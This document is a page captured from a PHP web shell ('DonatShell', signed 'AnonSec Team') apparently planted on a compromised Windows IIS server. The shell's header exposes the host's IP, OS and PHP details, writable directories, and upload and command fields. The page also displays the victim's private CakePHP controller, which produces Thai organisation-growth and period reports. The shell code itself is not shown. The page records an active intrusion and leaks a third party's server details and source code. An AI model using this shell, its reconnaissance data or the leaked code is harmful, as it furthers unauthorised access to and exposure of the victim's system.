DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.194
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/AppServ/www/app/Controller/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/AppServ/www/app/Controller/ReportsController.php
<?php
App::uses('AppController', 'Controller');
App::uses('CakeTime', 'Utility');

/**
 * Reports Controller
 *
 * @property Report $Report
 * @property PaginatorComponent $Paginator
 */
class ReportsController extends AppController {

    // all actions require log in
    public function beforeFilter() {
        $this->Auth->allow('period', 'growth');
    }

    public function growth($yearType = 'normal') {

        if ($yearType == 'normal') {
            $normalClass = 'btn btn-success';
            $financialClass = 'btn btn-default';
        } else {
            $normalClass = 'btn btn-default';
            $financialClass = 'btn btn-success';
        }
        $this->set('year_type', $yearType);
        $this->set('normal_classes', $normalClass);
        $this->set('financial_classes', $financialClass);

        $this->set('topicTitle', __('ตารางจำนวนเครือข่ายองค์กรที่เพิ่มขึ้น รายเดือน/รายปี'));

        $maxYear = date('Y') + 543;
        $minYear = 2545; // Min year should be 2545
        // $minYear = $maxYear - 15; // ideally should be one from the oldest records

        $this->set('min_year', $minYear);
        $this->set('max_year', $maxYear);

        $from = isset($this->params->query['from']) ? $this->params->query['from'] : $maxYear - 1;
        $to = isset($this->params->query['to']) ? $this->params->query['to'] : $maxYear;

        // convert to international year for querying
        $from -= 543;
        $to -= 543;

        if (isset($this->params->query['growth_type'])
            && $this->params->query['growth_type'] == 'type') {

            $this->set('first_column_title', __('ประเภทองค์กร'));
            $growthType = 'type';
            // get all types
            // for each type: get all organizations
            // with start in $year
            $this->loadModel('Organization');
            $this->loadModel('Type');
            $types = $this->Type->find('list');
            $members = $types;
        } else {
            $this->set('first_column_title', __('ความร่วมมือพิเศษ'));
            $growthType = 'member';
            // growth type is member
            $this->loadModel('Member');
            $members = $this->Member->find('list');

            $this->loadModel('OrgMembership');
            $increasedMembers = array();
        }
        $this->set('growth_type', $growthType);

        // year mode
        if ($from < $to) {

            // columns to display data
            $range = array();

            // need org created in 2012 to calculate growth of 2013
            for ($i = $from; $i <= $to; $i++) {
                array_push($range, $i);
            }
            if ($yearType == 'normal') {
                // [2012, 2013, 2014]
                foreach ($members as $memberId => $member) {
                    // keep # of org created in current iterating year in a temp array
                    $tmp = array();
                    $increasedFromLastYear = array();
                    if ($growthType == 'member') {
                        for ($i = 0; $i < count($range); $i++) {
                       // count number of OrgMembership `start` current year
                        // with current member_id

                            $conditions = CakeTime::daysAsSql('1 January ' . $range[$i], '31 December ' . $range[$i], 'start') . ' AND (OrgMembership.member_id = ' . $memberId . ')';
                            $startInYear = $this->OrgMembership->find('count', array(
                                'conditions' => $conditions
                                ));
                            $increasedFromLastYear[$range[$i]] = $startInYear;
                        } // endfor


                        $totalInMember = $this->OrgMembership->find('count',
                            array('conditions' =>
                                array('OrgMembership.member_id' => $memberId)
                            ));
                        $increasedMembers[$memberId] = array(
                            'name' => $member,
                            'total' => $totalInMember,
                            'growth' => $increasedFromLastYear
                        );

                    } else {

                        // organization type
                        for ($i = 0; $i < count($range); $i++) {
                            $joins = array();
                            $joins[] = array(
                                'alias'         => 'OrganizationsType',
                                'table'         => 'organizations_types',
                                'type'          => 'INNER',
                                'conditions'    => array(
                                    '`Organization`.`id` = `OrganizationsType`.`organization_id`',
                                    '`OrganizationsType`.`type_id` = ' . $memberId,
                                    CakeTime::daysAsSql('1 January ' . $range[$i], '31 December ' . $range[$i], 'joined')
                                ),
                            );

                            // joined in $range[$i]
                            $startInYear = $this->Organization->find('count',
                                array('joins' => $joins));
                            $increasedFromLastYear[$range[$i]] = $startInYear;

                            $increasedMembers[$memberId] = array(
                                'name' => $member,
                                'total' => $this->__countOrgByType($memberId),
                                'growth' => $increasedFromLastYear
                            );
                        }

                    } // endif

                }

            } else {
                // year type == financial year
                // construct months in each financial year
                $yearlyGrowth = array();
                foreach ($range as $r) {
                    $months = $this->__monthsInFinancialYear($r);
                    foreach ($members as $memberId => $member) {
                        $monthMembers = $this->__getInMonths($months, $memberId, $growthType);

                        // summary of increased in the year
                        $increasedInYear = array_sum($monthMembers);
                        $yearlyGrowth[$memberId][$r] = $increasedInYear;
                    }
                }

                $increasedMembers = array();
                if ($growthType == 'member') {
                    foreach ($yearlyGrowth as $memberId => $y) {
                        $totalInMember = $this->OrgMembership->find('count',
                            array('conditions' =>
                                array('OrgMembership.member_id' => $memberId)
                            ));
                        $increasedMembers[$memberId] = array(
                            'name' => $members[$memberId],
                            'total' => $totalInMember,
                            'growth' => $y
                        );
                    }
                } else {
                    foreach ($yearlyGrowth as $memberId => $y) {
                        $increasedMembers[$memberId] = array(
                            'name' => $members[$memberId],
                            'total' => $this->__countOrgByType($memberId),
                            'growth' => $y
                        );
                    }
                }
            }

            $range = $this->__toThaiYears($range);

        } else if ($from == $to) {
            // month mode
            // $range should be months
            $months = array();
            if ($yearType == 'normal') {
                // $months[] = ($from - 1) . '-12';
                for ($i = 1; $i <= 12; $i++) {
                    $months[] = $from . '-' . $i;
                }
            } else {
                // financial year
                $months = $this->__monthsInFinancialYear($from);
            }

            if ($growthType == 'member') {
                foreach ($members as $memberId => $member) {
                    $monthMembers = $this->__getInMonths($months, $memberId, $growthType);
                    $totalInMember = $this->OrgMembership->find('count',
                        array('conditions' =>
                            array('OrgMembership.member_id' => $memberId)
                        ));
                    $increasedMembers[$memberId] = array(
                        'name' => $member,
                        'total' => $totalInMember,
                        'growth' => $monthMembers
                    );
                }
            } else {
                foreach ($members as $memberId => $member) {
                    $monthMembers = $this->__getInMonths($months, $memberId, $growthType);
                    $increasedMembers[$memberId] = array(
                        'name' => $member,
                        'total' => $this->__countOrgByType($memberId),
                        'growth' => $monthMembers
                    );
                }
            }

            $range = $months;
            $range = $this->__toMonthNames($range);

        } else {
            // $from > to : display error message?
            $this->Session->setFlash(__('กรุณาเลือกช่วงปีให้ถูกต้อง'), 'flash-warning');
            $this->redirect($this->referer());
        }

        $this->set('members', $increasedMembers);

        // convert back to thai year
        $from += 543;
        $to += 543;

        $this->set('from', $from);
        $this->set('to', $to);
        $this->set('range', $range);

        if (isset($this->params->ext)) {
            if ($this->params->ext == 'pdf') {
                $this->_renderPdf(array(), '/Reports/pdf/growth');
            } else if ($this->params->ext == 'csv') {
                $this->render('/Elements/csv/growth', false);
            }
        }
    }

    // take array of months -> count members started
    // get number of members started in all given months
    private function __getInMonths($months, $memberId, $growthType) {
        $firstDays = array();
        foreach ($months as $month) {
            array_push($firstDays, $month . '-01');
        }

        $results = array();

        if ($growthType == 'member') {
            $this->loadModel('OrgMembership');
            foreach ($firstDays as $f) {
                // we want orgmemberships created in $month
                $startInMonth = $this->OrgMembership->find('count', array(
                    'conditions' => array(
                        'OrgMembership.start BETWEEN ? AND LAST_DAY(?)' => array($f, $f),
                        'OrgMembership.member_id' => $memberId
                        )
                    ));
                $results[$f] = $startInMonth;
            }
        } else {
            $this->loadModel('Organization');
            foreach ($firstDays as $f) {
                $joins = array();
                $joins[] = array(
                    'alias'         => 'OrganizationsType',
                    'table'         => 'organizations_types',
                    'type'          => 'INNER',
                    'conditions'    => array(
                        '`Organization`.`id` = `OrganizationsType`.`organization_id`',
                        '`OrganizationsType`.`type_id` = ' . $memberId,
                        '`Organization`.`joined` BETWEEN ? AND LAST_DAY(?)' => array($f, $f)
                    ),
                );
                // we want orgmemberships created in $month
                $startInMonth = $this->Organization->find('count',
                    array('joins' => $joins));
                $results[$f] = $startInMonth;
            }
        }

        return $results;
    }

    // take an array of new members in months
    // get number of increased members in each month in the array
    // private function __getIncreasedNumber($arr) {
    //     $increased = array();

    //     $counter = 0;
    //     $tmp = array();
    //     foreach ($arr as $month => $num) {
    //         $tmp[] = $num;
    //         if ($counter > 0) { // skip first month
    //             $increased[$month] = max($tmp[$counter] - $tmp[$counter - 1], 0);
    //         }
    //         $counter += 1;
    //     }

    //     return $increased;
    // }

    // generate an array of months for a given financial year
    private function __monthsInFinancialYear($year) {

        // october to september of next year
        for ($i = 9; $i <= 12; $i++) {
            $months[] = $year . '-' . $i;
        }

        for ($i = 1; $i <= 9; $i++) {
            $months[] = ($year + 1) . '-' . $i;
        }

        return $months;
    }

    // conver `2013-10` to `ตุลาคม 2013`
    private function __toMonthNames($months) {
        $thaiMonths = Configure::read('MONTHS');
        $monthNames = array();
        foreach ($months as $month) {
            list($year, $month) = explode('-', $month);
            $monthNames[] = $thaiMonths[$month] . ' ' . ($year + 543);
        }
        return $monthNames;
    }

    private function __countOrgByType($typeId) {
        $this->loadModel('Organization');
        return $this->Organization->find('count', array(
            'joins' => array(
                array(
                'alias'         => 'IJ_OrganizationType',
                'table'         => 'organizations_types',
                'type'          => 'INNER',
                'conditions'    => array(
                    '`Organization`.`id` = `IJ_OrganizationType`.`organization_id`',
                    '`IJ_OrganizationType`.`type_id` = ' . $typeId
                    )
                )
            ))
        );
    }

    private function __toThaiYears($months) {
        foreach ($months as &$month) {
            $month += 543;
        }
        return $months;
    }

    // report of org, ppl, activities in a period of time
    public function period() {
        $this->set('topicTitle', __('ตารางจำนวนภาพรวมจำนวนเครือข่ายและกิจกรรมทั้งหมด'));
        $this->set('months', Configure::read('MONTHS'));

        $maxYear = date('Y') + 543;
        $minYear = 2545;
        // $minYear = $maxYear - 15;
        $this->set('min_year', $minYear);
        $this->set('max_year', $maxYear);

        $month = isset($this->params->query['month']) ? $this->params->query['month'] : '';
        $year = isset($this->params->query['year']) ? $this->params->query['year'] : '';
        $this->set('month', $month);
        $this->set('year', $year);

        $entryTypes = array(
            'year' => __('ปี'),
            'region' => __('ภาค'),
            'province' => __('จังหวัด'),
            'topic' => __('ประเภทสิทธ์หลัก')
        );
        $this->set('entry_types', $entryTypes);

        $entryType = isset($this->params->query['entry_type']) ? $this->params->query['entry_type'] : 'year';

        $this->set('entry_type', $entryType);
        $this->set('first_column', $entryTypes[$entryType]);

        $data = array();
        if ($entryType == 'year') {
            // construct year range (oldest to newest)
            // $oldest = $this->__getYear('oldest');
            $oldest = 2002;
            $newest = $this->__getYear('newest');
            $yearRange = array_fill($oldest, ($newest - $oldest + 1), 0);
            krsort($yearRange); // Sort data from last year first.
            // for each year, get total org, ppl, and act
            $dataInYears = array();
            foreach ($yearRange as $year => $nay) { // we don't really use $nay
                $dataInYears[] = array_merge(array($year + 543), $this->__getPeriodDataInYear($year));
            }

            $data = $dataInYears;
        } else {
            // for other types, $month and $year are required
            if (empty($month) || empty($year)) {
                $this->Session->setFlash(__('กรุณาเลือกเดือนและปีให้ถูกต้อง'), 'flash-warning');
                return;
            }

            $year -= 543;
            $data = $this->__getPeriodData($entryType, $month, $year);
        }

        $this->set('data', $data);

        if (isset($this->params->ext)) {
            if ($this->params->ext == 'pdf') {
                $this->_renderPdf($data, '/Reports/pdf/period');
            } else if ($this->params->ext == 'csv') {
                $this->render('/Elements/csv/period', false);
            }
        }
    }

    // get 1 of oldest/newest year in org, people, and activities
    private function __getYear($type) {
        $models = array('Organization', 'Person', 'Activity');

        if ($type == 'oldest') {
            $baseYear = 9999;
            $orderDirection = 'ASC';
        } else {
            $baseYear = 0;
            $orderDirection = 'DESC';
        }
        foreach ($models as $model) {
            $this->loadModel($model);
            $orderField = ($model == 'Activity') ? 'started' : 'joined';
            $max = $this->{$model}->find('first', array(
                'order' => array($orderField => $orderDirection),
                'recursive' => -1,
                'fields' => array('id', $orderField)
            ));

            if ( !empty($max) ) {
                $max = CakeTime::format($max[$model][$orderField], '%Y');
                if ($type == 'oldest' && $max < $baseYear) {
                    $baseYear = $max;
                } else if ($type == 'newest' && $max > $baseYear) {
                    $baseYear = $max;
                }
            }
        }

        return $baseYear;
    }

    // count number of organizations, people, and activities
    // in a given $year
    private function __getPeriodDataInYear($year) {

        $models = array('Organization', 'Person', 'Activity');
        $data = array();
        foreach ($models as $model) {
            $this->loadModel($model);
            $countField = ($model == 'Activity') ? 'started' : 'joined';
            $conditions = CakeTime::daysAsSql('1 January ' . $year,
                '31 December ' . $year, $countField);
            $hoo = $this->{$model}->find('count', array(
                'recursive' => -1,
                'conditions' => array( $conditions )
            )); // `started` or `joined` in year

            $data[] = $hoo;
        }

        return $data;
    }

    // count number of organizations, people, and activities
    // in a given $month & $year
    private function __getPeriodData($type, $month, $year) {

        $firstDay = $year . '-' . $month . '-01';
        $models = array('Organization', 'Person', 'Activity');


        // get all $types
        $type = Inflector::camelize($type);
        $this->loadModel($type);
        $typeRecords = $this->{$type}->find('list');
        $data = array();
        foreach ($typeRecords as $id => $r) {
            // count org in ภาคกลาง
            $eachType = array();
            foreach ($models as $model) {
                $this->loadModel($model);
                $field = ($model == 'Activity') ? 'started' : 'joined';
                $conditions = array(
                    $field . ' BETWEEN ? AND LAST_DAY(?)' => array($firstDay, $firstDay),
                );

                // create joins conditions based on current objects
                $joins = $this->__getJoins($type, $model, $id);

                $hoo = $this->{$model}->find('count', array(
                    'recursive' => -1,
                    'conditions' => $conditions,
                    'joins' => $joins
                )); // `started` or `joined` in selected month

                $eachType[] = $hoo;
            }

            $data[] = array_merge(array($r), $eachType);
        }

        return $data;
    }

    // create $joins conditions for periodic report
    private function __getJoins($type, $model, $id) {

        $joins = array();

        // Topic has diffent joins conditions than Region and Province
        if ($type == 'Topic') {
            // all subtopics in selected topic_id
            // HABTM table name
            $tableName = Inflector::tableize($model) . '_subtopics';
            $fk = strtolower($model) . '_id';
            $joins[] = array(
                'alias'         => 'IJ_' . $model . 'Subtopic',
                'table'         => $tableName,
                'type'          => 'INNER',
                'conditions'    => array(
                    '`IJ_' . $model . 'Subtopic`.`'. $fk .'` = `'. $model .'`.`id`'
                )
            );

            $joins[] = array(
                'alias'         => 'IJ_SubtopicTopic',
                'table'         => 'subtopics',
                'type'          => 'INNER',
                'conditions'    => array(
                    '`IJ_'. $model .'Subtopic`.`subtopic_id` = `IJ_SubtopicTopic`.`id`',
                    '`IJ_SubtopicTopic`.`topic_id` = ' . $id
                )
            );
            return $joins;
        }


        // type = Region or Province
        // these 2 types have the same join conditions
        // but have different field to check in `provinces` table
        // Region => use `region_id` field in `provinces` table to check
        // Province => use `id` field in `provinces` table to check
        if ($type == 'Region') {
            $fieldToCheck = 'region_id';
        } else if ($type == 'Province') {
            $fieldToCheck = 'id';
        }

        $joins[] = array(
            'alias'         => 'IJ_' . $model . 'District',
            'table'         => 'districts',
            'type'          => 'INNER',
            'conditions'    => array(
                '`IJ_'.$model.'District`.`id` = `'.$model.'`.`district_id`'
            )
        );

        $joins[] = array(
            'alias'         => 'IJ_DistrictProvince',
            'table'         => 'provinces',
            'type'          => 'INNER',
            'conditions'    => array(
                '`IJ_'.$model.'District`.`province_id` = `IJ_DistrictProvince`.`id`',
                '`IJ_DistrictProvince`.`'. $fieldToCheck .'` = ' . $id
            )
        );

        return $joins;
    }
}

Anon7 - 2022
AnonSec Team